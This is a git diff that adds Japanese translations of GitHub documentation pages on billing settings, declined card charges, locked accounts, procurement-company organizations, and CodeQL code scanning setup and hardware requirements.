+1. [Billing management] で、支払メールアドレスの右の[**Edit**]をクリックします。 ![現在の支払メール](/assets/images/help/billing/billing-change-email.png)
+2. 有効なメールアドレスを入力し、[**Update**]をクリックします。 ![支払メールアドレスの変更モーダル](/assets/images/help/billing/billing-change-email-modal.png)
 
-## Managing additional recipients for your organization's billing email
+## Organization の支払い請求先メールアドレスに受信者を追加して管理する
 
-If you have users that want to receive billing reports, you can add their email addresses as billing email recipients. This feature is only available to organizations that are not managed by an enterprise.
+支払い請求レポートを受信する必要のあるユーザが複数いる場合は、支払い請求先メールの受信者としてそのユーザのメールアドレスを追加できます。 この機能を利用できるのは、企業が管理していない Organization だけです。
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
-### Adding a recipient for billing notifications
+### 支払い通知の受信者を追加する
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", to the right of "Email recipients", click **Add**.
-  ![Add recipient](/assets/images/help/billing/billing-add-email-recipient.png)
-1. Type the email address of the recipient, then click **Add**.
-  ![Add recipient modal](/assets/images/help/billing/billing-add-email-recipient-modal.png)
+1. [Billing management] で、[Email recipients] の右の [**Add**] をクリックします。 ![受信者を追加](/assets/images/help/billing/billing-add-email-recipient.png)
+1. 受信者のメールアドレスを入力し、[**Add**] をクリックします。 ![受信者追加のモーダル](/assets/images/help/billing/billing-add-email-recipient-modal.png)
 
-### Changing the primary recipient for billing notifications
+### 支払い通知の第 1 受信者を変更する
 
-One address must always be designated as the primary recipient. The address with this designation can't be removed until a new primary recipient is selected.
+第1受信者として必ずアドレスを 1 つは指定する必要があります。 第 1 受信者に指定したアドレスは、別の第 1 受信者を選定するまで、削除できません。
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Billing management", find the email address you want to set as the primary recipient.
-1. To the right of the email address, use the "Edit" drop-down menu, and click **Mark as primary**.
-  ![Mark primary recipient](/assets/images/help/billing/billing-change-primary-email-recipient.png)
+1. [Billing management] で、第 1 受信者に設定したいメールアドレスを探します。
+1. 見つかったメールアドレスの右にある [Edit] ドロップダウンメニューで、[**Mark as primary**] をクリックします。 ![第 1 受信者としてマーク](/assets/images/help/billing/billing-change-primary-email-recipient.png)
 
-### Removing a recipient from billing notifications
+### 支払い通知の受信者を削除する
 
 {% data reusables.organizations.billing-settings %}
-1. Under "Email recipients", find the email address you want to remove.
-1. For the user's entry in the list, click **Edit**.
-  ![Edit recipient](/assets/images/help/billing/billing-edit-email-recipient.png)
-1. To the right of the email address, use the "Edit" drop-down menu, and click **Remove**.
-  ![Remove recipient](/assets/images/help/billing/billing-remove-email-recipient.png)
-1. Review the confirmation prompt, then click **Remove**.
+1. [Email recipients] で、削除したいメールアドレスを探します。
+1. そのユーザのエントリで [**Edit**] をクリックします。 ![受信者を編集する](/assets/images/help/billing/billing-edit-email-recipient.png)
+1. メールアドレスの右の[Edit]ドロップダウンメニューを使い、[**Remove**]をクリックします。 ![受信者を削除する](/assets/images/help/billing/billing-remove-email-recipient.png)
+1. 確認ダイアログを確かめてから、[**Remove**] をクリックします。
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
index efa7701ca9..5e379d90a2 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting a declined credit card charge
-intro: 'If the credit card you use to pay for {% data variables.product.product_name %} is declined, you can take several steps to ensure that your payments go through and that you are not locked out of your account.'
+title: クレジットカードへの請求が拒否された場合のトラブルシューティング
+intro: '{% data variables.product.product_name %} への支払いに使っているクレジットカードが拒否された場合、支払いが行われるように、そして、自分のアカウントから締め出されなくするための、いくつかのステップがあります。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/troubleshooting-a-declined-credit-card-charge
   - /articles/what-do-i-do-if-my-card-is-declined
@@ -12,26 +12,27 @@ versions:
 type: how_to
 topics:
   - Troubleshooting
-shortTitle: Declined credit card charge
+shortTitle: 拒否されたクレジットカードの請求
 ---
-If your card is declined, we'll send you an email about why the payment was declined. You'll have a few days to resolve the problem before we try charging you again.
 
-## Check your card's expiration date
+カードが拒否された場合、その支払いが拒否された理由についてメールが送られます。 再び請求される前、その問題を解決するための数日間の猶予があります。
 
-If your card has expired, you'll need to update your account's payment information. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+## カードの期限の日付の確認
 
-## Verify your bank's policy on card restrictions
+カードが期限切れの場合、アカウントの支払い情報をアップデートする必要があります。 詳細は「[支払い方法を追加または編集する](/articles/adding-or-editing-a-payment-method)」を参照してください。
 
-Some international banks place restrictions on international, e-commerce, and automatically recurring transactions. If you're having trouble making a payment with your international credit card, call your bank to see if there are any restrictions on your card.
+## カードの制限についての銀行のポリシーの確認
 
-We also support payments through PayPal. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+一定の国際的な銀行は、国際、E コマースおよび自動的な定期取引について制限をしています。 国際的なクレジットカードでの支払いの実行のトラブルの場合、あなたのカードに対する制限があるか銀行に確認してください。
 
-## Contact your bank for details about the transaction
+PayPal での支払いもサポートしています。 詳細は「[支払い方法を追加または編集する](/articles/adding-or-editing-a-payment-method)」を参照してください。
 
-Your bank can provide additional information about declined payments if you specifically ask about the attempted transaction. If there are restrictions on your card and you need to call your bank, provide this information to your bank:
+## 取引の詳細についての銀行への連絡
 
-- **The amount you're being charged.** The amount for your subscription appears on your account's receipts. For more information, see "[Viewing your payment history and receipts](/articles/viewing-your-payment-history-and-receipts)."
-- **The date when {% data variables.product.product_name %} bills you.** Your account's billing date appears on your receipts.
-- **The transaction ID number.** Your account's transaction ID appears on your receipts.
-- **The merchant name.** The merchant name is {% data variables.product.prodname_dotcom %}.
-- **The error message your bank sent with the declined charge.** You can find your bank's error message on the email we send you when a charge is declined.
+実行しようとした取引について具体的に問い合わせると、拒否された支払いについて銀行からさらに情報を得られます。 カードに制限があり、銀行に問い合わせる必要がある場合、この情報を銀行に提供してください:
+
+- **請求されている金額。**あなたのプランに対する金額は、アカウントの領収書に表示されています。 詳細は「[支払い履歴と領収書を表示する](/articles/viewing-your-payment-history-and-receipts)」を参照してください。
+- **{% data variables.product.product_name %} の請求日付。**アカウントへの請求日は領収書に表示されています。
+- **取引 ID 番号。**あなたのアカウントの取引 ID は、領収書に表示されています。
+- **取引会社名。**取引会社名は、{% data variables.product.prodname_dotcom %} です。
+- **拒否された請求について銀行が送ったエラーメッセージ。**請求が拒否された時に私たちがあなたに送ったメールに、銀行のエラーメッセージがあります。
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
index b59da1c080..b666408774 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md
@@ -1,6 +1,6 @@
 ---
-title: Unlocking a locked account
-intro: Your organization's paid features are locked if your payment is past due because of billing problems.
+title: ロックされたアカウントのロックを解除する
+intro: 支払いの問題が原因で支払い期限が過ぎた場合、Organization の有料機能はロックされます。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/unlocking-a-locked-account
   - /articles/what-happens-if-my-account-is-locked
@@ -20,14 +20,15 @@ topics:
   - Downgrades
   - Organizations
   - User account
-shortTitle: Locked account
+shortTitle: ロックされたアカウント
 ---
-You can unlock and access your account by updating your organization's payment method and resuming paid status. We do not ask you to pay for the time elapsed in locked mode.
 
-You can downgrade your organization to {% data variables.product.prodname_free_team %} to continue with the same advanced features in public repositories. For more information, see "[Downgrading your {% data variables.product.product_name %} subscription](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)."
+Organization の支払い方法をアップデートして支払いステータスを回復することで、アカウントのロックを解除しアクセスできるようになります。 ロックされたモードで経過した時間の分については、お支払いを請求いたしません。
 
-## Unlocking an organization's features due to a declined payment
+パブリックリポジトリで同じ高度な機能を使い続けるために、Organization を{% data variables.product.prodname_free_team %} にダウングレードすることができます。 詳細は「[{% data variables.product.product_name %} プランのダウングレード](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription)」を参照してください。
 
-If your organization's advanced features are locked due to a declined payment, you'll need to update your billing information to trigger a newly authorized charge. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+## 支払いの拒否による Organization 機能のロック解除
 
-If the new billing information is approved, we will immediately charge you for the paid product you chose. The organization will automatically unlock when a successful payment has been made.
+支払いの拒否により Organization の高度な機能ロックされた場合、支払い情報をアップデートして、新しく認められた支払いを開始する必要があります。 詳細は「[支払い方法を追加または編集する](/articles/adding-or-editing-a-payment-method)」を参照してください。
+
+新しい請求情報が承認された場合、お客様が選択した有料製品について直ちに請求します。 支払いが無事行われると、自動的に Organization のロックが解除されます。
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
index c643ca0c2c..c90e075eaa 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your payment history and receipts
-intro: You can view your account's payment history and download past receipts at any time.
+title: 支払い履歴と領収書を表示する
+intro: アカウントの支払い履歴はいつでも表示できます。また、過去の領収書は、いつでもダウンロード可能です。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-payment-history-and-receipts
   - /articles/downloading-receipts
@@ -17,16 +17,17 @@ topics:
   - Organizations
   - Receipts
   - User account
-shortTitle: View history & receipts
+shortTitle: 履歴と領収書の表示
 ---
-## Viewing receipts for your personal account
+
+## 個人アカウントの領収書を表示する
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.view-payment-history %}
 {% data reusables.dotcom_billing.download_receipt %}
 
-## Viewing receipts for your organization
+## Organization の領収書を表示する
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
diff --git a/translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md b/translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
index b62ebd0208..c2fd0b21d1 100644
--- a/translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
+++ b/translations/ja-JP/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your subscriptions and billing date
-intro: 'You can view your account''s subscription, your other paid features and products, and your next billing date in your account''s billing settings.'
+title: プランと請求日を表示する
+intro: アカウントのプラン、有料機能と製品、および次の請求日は、アカウントの支払い設定で確認できます。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-subscriptions-and-billing-date
@@ -17,21 +17,22 @@ topics:
   - Accounts
   - Organizations
   - User account
-shortTitle: Subscriptions & billing date
+shortTitle: サブスクリプションと請求日
 ---
-## Finding your personal account's next billing date
+
+## 個人アカウントの次の請求日を確認する
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.next_billing_date %}
 
-## Finding your organization's next billing date
+## Organization の次の請求日を確認する
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.next_billing_date %}
 
-## Further reading
+## 参考リンク
 
-- "[About billing for {% data variables.product.prodname_dotcom %} accounts](/articles/about-billing-for-github-accounts)"
+- 「[{% data variables.product.prodname_dotcom %} アカウントの支払いについて](/articles/about-billing-for-github-accounts)」
diff --git a/translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md b/translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
index b74ec44276..98c8bd187f 100644
--- a/translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
+++ b/translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md
@@ -1,6 +1,6 @@
 ---
-title: About organizations for procurement companies
-intro: 'Businesses use organizations to collaborate on shared projects with multiple owners and administrators. You can create an organization for your client, make a payment on their behalf, then pass ownership of the organization to your client.'
+title: 購入代行業者のためのOrganizationについて
+intro: 企業は、Organizationを使って複数のオーナーと管理者を持つ共有プロジェクト上でコラボレートします。 クライアントのためにOrganizationを作成し、クライアントの代理で支払いを行い、そしてOrganizationの所有権をクライアントに渡すことができます。
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/about-organizations-for-procurement-companies
   - /articles/about-organizations-for-resellers
@@ -12,27 +12,28 @@ versions:
 type: overview
 topics:
   - Organizations
-shortTitle: About organizations
+shortTitle: Organizationについて
 ---
-To access an organization, each member must sign into their own personal user account.
 
-Organization members can have different roles, such as *owner* or *billing manager*:
+Organizationにアクセスするためには、各メンバーは自身のパーソナルユーザアカウントにサインインしなければなりません
 
-- **Owners** have complete administrative access to an organization and its contents.
-- **Billing managers** can manage billing settings, and cannot access organization contents. Billing managers are not shown in the list of organization members.
+Organizationのメンバーは、*オーナー*あるいは*支払いマネージャー*など、様々なロールを持ちます。
 
-## Payments and pricing for organizations
+- **オーナー**は、Organizationとそのコンテンツについて完全な管理アクセスを持ちます。
+- **支払いマネージャー**は支払いの設定を管理でき、Organization のコンテンツにはアクセスできません。 支払いマネージャーは、Organization のメンバーのリストには表示されません。
 
-We don't provide quotes for organization pricing. You can see our published pricing for [organizations](https://github.com/pricing) and [Git Large File Storage](/articles/about-storage-and-bandwidth-usage/). We do not provide discounts for procurement companies or for renewal orders.
+## Organizationの支払いと価格
 
-We accept payment in US dollars, although end users may be located anywhere in the world.
+Organizationの価格について、弊社は見積もりを提供しません。 [Organization](https://github.com/pricing)と[Git Large File Storage](/articles/about-storage-and-bandwidth-usage/)の弊社の公開価格をご覧いただけます。 購買代行業者に対する割引あるいは契約更新時の割引は提供しておりません。
 
-We accept payment by credit card and PayPal. We don't accept payment by purchase order or invoice.
+支払いはUSドルで受け付けていますが、エンドユーザの場所は世界中のどの地域でも問題ありません。
 
-For easier and more efficient purchasing, we recommend that procurement companies set up yearly billing for their clients' organizations.
+支払いはクレジットカードと PayPal で受け付けています。 注文書や請求書での支払いは受け付けていません。
 
-## Further reading
+購入を容易かつ効率的に行うために、購入代行業者はクライアントのOrganization用に年間の支払いをセットアップすることをおすすめします。
 
-- "[Creating and paying for an organization on behalf of a client](/articles/creating-and-paying-for-an-organization-on-behalf-of-a-client)"
-- "[Upgrading or downgrading your client's paid organization](/articles/upgrading-or-downgrading-your-client-s-paid-organization)"
-- "[Renewing your client's paid organization](/articles/renewing-your-client-s-paid-organization)"
+## 参考リンク
+
+- [クライアントの代理でのOrganizationの作成と支払い](/articles/creating-and-paying-for-an-organization-on-behalf-of-a-client)
+- [クライアントの有料Organizationのアップグレードあるいはダウングレード](/articles/upgrading-or-downgrading-your-client-s-paid-organization)
+- [クライアントの有料Organizationの更新](/articles/renewing-your-client-s-paid-organization)
diff --git a/translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md b/translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
index 0b9fc6ffef..ca72a6fb1d 100644
--- a/translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
+++ b/translations/ja-JP/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up paid organizations for procurement companies
-shortTitle: Paid organizations for procurement companies
-intro: 'If you pay for {% data variables.product.product_name %} on behalf of a client, you can configure their organization and payment settings to optimize convenience and security.'
+title: 購入代行業者のための有料 Organization のセットアップ
+shortTitle: 購入代行業者のための有料Organization
+intro: 'クライアントに代わり {% data variables.product.product_name %} に支払う場合、利便性とセキュリティを最適化するために、その Organization および支払い設定ができます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/setting-up-paid-organizations-for-procurement-companies
   - /articles/setting-up-and-paying-for-organizations-for-resellers
diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md
index b99518c56c..6115cb843c 100644
--- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md
+++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: About code scanning
-intro: 'You can use {% data variables.product.prodname_code_scanning %} to find security vulnerabilities and errors in the code for your project on {% data variables.product.prodname_dotcom %}.'
+title: Code scanningについて
+intro: '{% data variables.product.prodname_code_scanning %} を使用して、{% data variables.product.prodname_dotcom %} 上のプロジェクトのコードからセキュリティの脆弱性とエラーを見つけることができます。'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/managing-security-vulnerabilities/about-automated-code-scanning
@@ -17,42 +17,42 @@ topics:
   - Advanced Security
   - Code scanning
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning %}
 
-## About {% data variables.product.prodname_code_scanning %}
+## {% data variables.product.prodname_code_scanning %} について
 
 {% data reusables.code-scanning.about-code-scanning %}
 
-You can use {% data variables.product.prodname_code_scanning %} to find, triage, and prioritize fixes for existing problems in your code. {% data variables.product.prodname_code_scanning_capc %} also prevents developers from introducing new problems. You can schedule scans for specific days and times, or trigger scans when a specific event occurs in the repository, such as a push.
+{% data variables.product.prodname_code_scanning %} を使用して、コード内の既存の問題の修正を検索し、トリアージして、優先順位を付けることができます。 また、{% data variables.product.prodname_code_scanning_capc %} は、開発者による新しい問題の発生も防ぎます。 スキャンを特定の日時にスケジュールしたり、プッシュなどの特定のイベントがリポジトリで発生したときにスキャンをトリガーしたりすることができます。
 
-If {% data variables.product.prodname_code_scanning %} finds a potential vulnerability or error in your code, {% data variables.product.prodname_dotcom %} displays an alert in the repository. After you fix the code that triggered the alert, {% data variables.product.prodname_dotcom %} closes the alert. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
+{% data variables.product.prodname_code_scanning %} がコードに潜在的な脆弱性またはエラーを見つけた場合、{% data variables.product.prodname_dotcom %} はリポジトリにアラートを表示します。 アラートを引き起こしたコードを修正すると、{% data variables.product.prodname_dotcom %}はそのアラートを閉じます。 詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)」を参照してください。
 
-To monitor results from {% data variables.product.prodname_code_scanning %} across your repositories or your organization, you can use webhooks and the {% data variables.product.prodname_code_scanning %} API. For information about the webhooks for {% data variables.product.prodname_code_scanning %}, see 
-"[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)." For information about API endpoints, see  "[{% data variables.product.prodname_code_scanning_capc %}](/rest/reference/code-scanning)." 
+リポジトリまたは Organization をまたいで {% data variables.product.prodname_code_scanning %} による結果を監視するには、webhooks や {% data variables.product.prodname_code_scanning %} API を使用できます。 {% data variables.product.prodname_code_scanning %} 用の webhook に関する詳しい情報については、「[Webhook イベントとペイロード](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)」を参照してください。 API に関する情報については、 「[{% data variables.product.prodname_code_scanning_capc %}](/rest/reference/code-scanning)」を参照してください。
 
-To get started with {% data variables.product.prodname_code_scanning %}, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+{% data variables.product.prodname_code_scanning %} を始めるには、「[リポジトリに対する {% data variables.product.prodname_code_scanning %} を設定する](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」を参照してください。
 
 {% ifversion fpt or ghec %}
 
-## About billing for {% data variables.product.prodname_code_scanning %}
+## {% data variables.product.prodname_code_scanning %}の支払いについて
 
-{% data variables.product.prodname_code_scanning_capc %} uses {% data variables.product.prodname_actions %}, and each run of a {% data variables.product.prodname_code_scanning %} workflow consumes minutes for {% data variables.product.prodname_actions %}. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+{% data variables.product.prodname_code_scanning_capc %} は {% data variables.product.prodname_actions %} を使用し、{% data variables.product.prodname_code_scanning %} ワークフローの実行ごとに {% data variables.product.prodname_actions %} に数分かかります。 詳しい情報については、「[{% data variables.product.prodname_actions %}の支払いについて](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)」を参照してください。
 
 {% endif %}
 
 ## About tools for {% data variables.product.prodname_code_scanning %}
 
-You can set up {% data variables.product.prodname_code_scanning %} to use the {% data variables.product.prodname_codeql %} product maintained by {% data variables.product.company_short%} or a third-party {% data variables.product.prodname_code_scanning %} tool. 
+You can set up {% data variables.product.prodname_code_scanning %} to use the {% data variables.product.prodname_codeql %} product maintained by {% data variables.product.company_short%} or a third-party {% data variables.product.prodname_code_scanning %} tool.
 
 ### About {% data variables.product.prodname_codeql %} analysis
 
 {% data reusables.code-scanning.about-codeql-analysis %} For more information about {% data variables.product.prodname_codeql %}, see "[About code scanning with CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
 
-### About third-party {% data variables.product.prodname_code_scanning %} tools
+### サードパーティの{% data variables.product.prodname_code_scanning %}ツールについて
 
 {% data reusables.code-scanning.interoperable-with-tools-that-output-sarif %}
 
-You can run third-party analysis tools within {% data variables.product.product_name %} using actions or within an external CI system. For more information, see "[Setting up code scanning for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" or "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)."
+Actionsを使って{% data variables.product.product_name %}内で、あるいは外部のCIシステム内でサードパーティの分析ツールを実行できます。 詳しい情報については「[リポジトリのCode scanningのセットアップ](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)」あるいは「[SARIFファイルのGitHubへのアップロード](/code-security/secure-coding/uploading-a-sarif-file-to-github)」を参照してください。
diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
index 4ea514673d..78cd6ccd5b 100644
--- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
+++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
@@ -1,6 +1,6 @@
 ---
-title: Recommended hardware resources for running CodeQL 
-shortTitle: Hardware resources for CodeQL 
+title: Recommended hardware resources for running CodeQL
+shortTitle: Hardware resources for CodeQL
 intro: 'Recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis on self-hosted machines, based on the size of your codebase.'
 product: '{% data reusables.gated-features.code-scanning %}'
 versions:
@@ -15,18 +15,18 @@ topics:
   - Repositories
   - Integration
   - CI
-
 ---
+
 You can set up {% data variables.product.prodname_codeql %} on {% data variables.product.prodname_actions %} or on an external CI system. {% data variables.product.prodname_codeql %} is fully compatible with {% data variables.product.prodname_dotcom %}-hosted runners on {% data variables.product.prodname_actions %}.
 
 If you're using an external CI system, or self-hosted runners on {% data variables.product.prodname_actions %} for private repositories, you're responsible for configuring your own hardware. The optimal hardware configuration for running {% data variables.product.prodname_codeql %} may vary based on the size and complexity of your codebase, the programming languages and build systems being used, and your CI workflow setup.
 
 The table below provides recommended hardware specifications for running {% data variables.product.prodname_codeql %} analysis, based on the size of your codebase. Use these as a starting point for determining your choice of hardware or virtual machine. A machine with greater resources may improve analysis performance, but may also be more expensive to maintain.
 
-| Codebase size | RAM | CPU |
-|--------|--------|--------|
-| Small (<100 K lines of code) | 8 GB or higher | 2 cores |
+| Codebase size                       | RAM             | CPU          |
+| ----------------------------------- | --------------- | ------------ |
+| Small (<100 K lines of code)        | 8 GB or higher  | 2 cores      |
 | Medium (100 K to 1 M lines of code) | 16 GB or higher | 4 or 8 cores |
-| Large (>1 M lines of code) | 64 GB or higher | 8 cores |
+| Large (>1 M lines of code)          | 64 GB or higher | 8 cores      |
 
 For all codebase sizes, we recommend using an SSD with 14 GB or more of disk space. There must be enough disk space to check out and build your code, plus additional space for data produced by {% data variables.product.prodname_codeql %}.
diff --git a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
index a5315a96bc..9030845e11 100644
--- a/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
+++ b/translations/ja-JP/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
@@ -1,7 +1,7 @@
 ---
-title: Running CodeQL code scanning in a container
-shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container'
-intro: 'You can run {% data variables.product.prodname_code_scanning %} in a container by ensuring that all processes run in the same container.'
+title: コンテナで CodeQL Code scanningを実行する
+shortTitle: 'コンテナで {% data variables.product.prodname_code_scanning_capc %}'
+intro: 'すべてのプロセスが同じコンテナで動作するようにすることで、{% data variables.product.prodname_code_scanning %} を実行できます。'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container
@@ -22,32 +22,33 @@ topics:
   - Containers
   - Java
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-## About {% data variables.product.prodname_code_scanning %} with a containerized build
+## コンテナ化されたビルドで {% data variables.product.prodname_code_scanning %} を使用することについて
 
-If you're setting up {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled.
+コンパイル言語用に {% data variables.product.prodname_code_scanning %} をセットアップし、コンテナ化された環境でコードをビルドしようとすると、解析が失敗し、"No source code was seen during the build." というエラーメッセージが出る場合があります。 これは、コードがコンパイルされているので {% data variables.product.prodname_codeql %} がコードをモニターできなかったことを示しています。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %}, the {% data variables.product.prodname_codeql_runner %}, or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
+{% data variables.product.prodname_codeql %}は、コードをビルドするコンテナ内で実行しなければなりません。 これは、{% data variables.product.prodname_codeql_cli %}、{% data variables.product.prodname_codeql_runner %}、{% data variables.product.prodname_actions %}のいずれを使っていても当てはまります。 {% data variables.product.prodname_codeql_cli %}あるいは{% data variables.product.prodname_codeql_runner %}については、詳しい情報は「[CIシステムへの{% data variables.product.prodname_codeql_cli %}のインストール](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)」あるいは「[CIシステムでの{% data variables.product.prodname_codeql_runner %}の実行](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)」を参照してください。 {% data variables.product.prodname_actions %} を使用している場合は、同じコンテナですべてのアクションを実行するようワークフローを設定します。 詳しい情報については「[ワークフローの例](#example-workflow)」を参照してください。
 {% else %}
